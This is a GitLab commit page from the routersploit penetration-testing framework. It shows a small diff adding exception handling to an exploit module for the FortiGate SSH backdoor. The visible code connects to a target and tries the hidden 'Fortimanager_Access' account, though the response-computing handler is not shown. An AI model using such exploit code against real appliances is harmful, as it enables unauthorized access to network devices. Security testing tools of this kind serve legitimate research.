Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
ebba273c
Commit
ebba273c
authored
Apr 13, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fortigate backdoor exceptions.
parent
5ef8a7ac
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
7 additions
and
4 deletions
+7
-4
fortigate_os_backdoor.py
...sploit/modules/exploits/fortinet/fortigate_os_backdoor.py
+7
-4
No files found.
routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py
View file @
ebba273c
...
@@ -37,8 +37,6 @@ class Exploit(exploits.Exploit):
...
@@ -37,8 +37,6 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
22
,
'Target Port'
)
port
=
exploits
.
Option
(
22
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
print_status
(
"Running module"
)
client
=
paramiko
.
SSHClient
()
client
=
paramiko
.
SSHClient
()
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
...
@@ -46,6 +44,9 @@ class Exploit(exploits.Exploit):
...
@@ -46,6 +44,9 @@ class Exploit(exploits.Exploit):
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
print_error
(
"Exploit Failed - SSH Service is down"
)
return
trans
=
client
.
get_transport
()
trans
=
client
.
get_transport
()
try
:
try
:
...
@@ -100,14 +101,16 @@ class Exploit(exploits.Exploit):
...
@@ -100,14 +101,16 @@ class Exploit(exploits.Exploit):
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
return
False
# target is not vulnerable
trans
=
client
.
get_transport
()
trans
=
client
.
get_transport
()
try
:
try
:
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
trans
.
auth_password
(
username
=
'Fortimanager_Access'
,
password
=
''
,
event
=
None
,
fallback
=
True
)
except
paramiko
.
ssh_exception
.
AuthenticationException
:
except
paramiko
.
ssh_exception
.
AuthenticationException
:
pass
pass
except
Exception
,
e
:
except
:
return
None
return
None
# could not verify
try
:
try
:
trans
.
auth_interactive
(
username
=
'Fortimanager_Access'
,
handler
=
self
.
custom_handler
)
trans
.
auth_interactive
(
username
=
'Fortimanager_Access'
,
handler
=
self
.
custom_handler
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment